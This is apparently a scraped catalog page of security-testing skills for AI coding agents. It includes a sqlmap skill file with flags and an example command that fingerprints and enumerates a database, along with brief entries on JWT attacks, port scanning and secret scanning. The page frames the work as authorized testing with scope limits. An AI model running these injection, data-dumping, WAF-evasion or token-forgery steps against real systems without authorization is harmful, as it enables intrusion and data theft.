メニュー
[exploit] Automated SQL injection detection and exploitation against a live endpoint. Reach for it after manual curl confirmation to fingerprint the DB, enumerate schema, and extract a minimal proof sample.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
[exploit] Inspect and attack JSON Web Tokens — alg:none, key confusion (RS256→HS256), weak-secret cracking, claim tampering. Reach for it whenever the app authenticates with JWTs to test signature and verification flaws.
[recon] Fast SYN/CONNECT port scanner for hosts/CIDRs (Go, libpcap). Reach for it to find open ports across many hosts quickly, then hand the open services to nmap for deep fingerprinting.
[static-analysis] All-in-one scanner over the connected repo: dependency CVEs across MANY ecosystems (npm, NuGet/.NET, Maven, Go, pip, RubyGems…), plus IaC/Dockerfile/Kubernetes misconfig and a filesystem secret sweep. Reach for it in pre-recon/vuln-analysis for SCA on stacks osv-scanner under-covers and for deeper infra-misconfig than generic SAST.
[static-analysis] Static code analysis (SAST) over the connected repo — taint/pattern rules per vuln category, no live traffic. Reach for it in vuln-analysis to locate vulnerable code at file:line that DAST then confirms.
[static-analysis] Find secrets in a repo/history/filesystem and LIVE-VERIFY them against the issuing provider. Reach for it in vuln-analysis when you need to separate truly-active leaked credentials from dead noise.
[static-analysis] Scan a repo's files and full git history for hardcoded secrets (keys, tokens, credentials). Reach for it in vuln-analysis to find committed secrets, including ones removed from HEAD but live in history.
| name | sqlmap |
| description | [exploit] Automated SQL injection detection and exploitation against a live endpoint. Reach for it after manual curl confirmation to fingerprint the DB, enumerate schema, and extract a minimal proof sample. |
sqlmap (Python; run in place: python /opt/shor/tools/sqlmap/sqlmap.py or the
sqlmap wrapper). The standard for confirming and exploiting SQLi. Workflow:
confirm the point manually with curl, then bring sqlmap in for enumeration and a
bounded data sample. Live → exploitation phase.
', boolean, time delay) suggests an injectable param.-u "<url>" target (mark injection with *), or -r req.txt raw request file.--data, --cookie, -H for POST/auth; -p <param> target a specific param.--dbms <type>, --level 1-5, --risk 1-3 (keep low unless RoE allows higher).--batch non-interactive defaults; --threads <n>; --delay <s>; --time-sec <s>.--banner --current-user --current-db --dbs --tables --columns --dump.--tamper=<script> WAF evasion (pair with wafw00f result); --technique=BEUSTQ.# Confirm + fingerprint one param non-interactively, low risk, throttled
sqlmap -u "https://target.example.com/item?id=1" -p id \
--batch --level 2 --risk 1 --delay 1 --banner --current-db --dbs
# Then, scoped extraction (one table, capped rows):
# sqlmap -r req.txt -p id --batch -D appdb -T users --dump --start 1 --stop 5
--dump is destructive to privacy: extract
the minimum sample (--start/--stop), redact PII, then STOP.--risk/--level low and use --delay/--time-sec to honor no-DoS
limits. Never use --os-shell/--os-cmd/--sql-shell to mutate or pivot
unless explicitly authorized in the Rules of Engagement.--threads high + time-based blind = heavy load; throttle.